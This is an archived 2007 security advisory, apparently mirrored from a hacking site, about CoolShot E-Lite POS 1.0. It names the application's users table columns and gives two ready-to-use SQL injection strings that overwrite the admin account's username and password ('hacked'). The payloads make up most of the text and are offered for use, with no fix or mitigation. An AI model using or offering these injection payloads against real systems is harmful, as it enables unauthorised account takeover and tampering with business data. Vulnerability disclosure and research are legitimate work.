AOH :: HP Unsorted C :: TB13557.HTM

CoolShot E-Lite POS 1.0



Aria-Security.net: CoolShot E-Lite POS 1.0
Aria-Security.net: CoolShot E-Lite POS 1.0



Aria-Security Team
http://aria-security.net
-------------------------------------
CoolShot E-Lite POS 1.0
http://coolshot.net/index.php/works/49-e-lite-pos

Original Advisory @ http://aria-security.net/forum/showthread.php?p=1108#post1108
Published on November 24 2007

users.user_id
users.user_name
users.user_email
users.user_admin
users.user_auth
users.user_pw


use these two queries
-1' UPDATE users set user_name= 'admin' Where(user_iD= '1');--
-1' UPDATE users set user_pw= 'hacked' Where(user_iD= '1');--

there you go with the user admin and password hacked.

Credits Goes to Aria-Security Team
A SPECIAL THANKS TO: AurA
Regards,
The-0utl4w

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.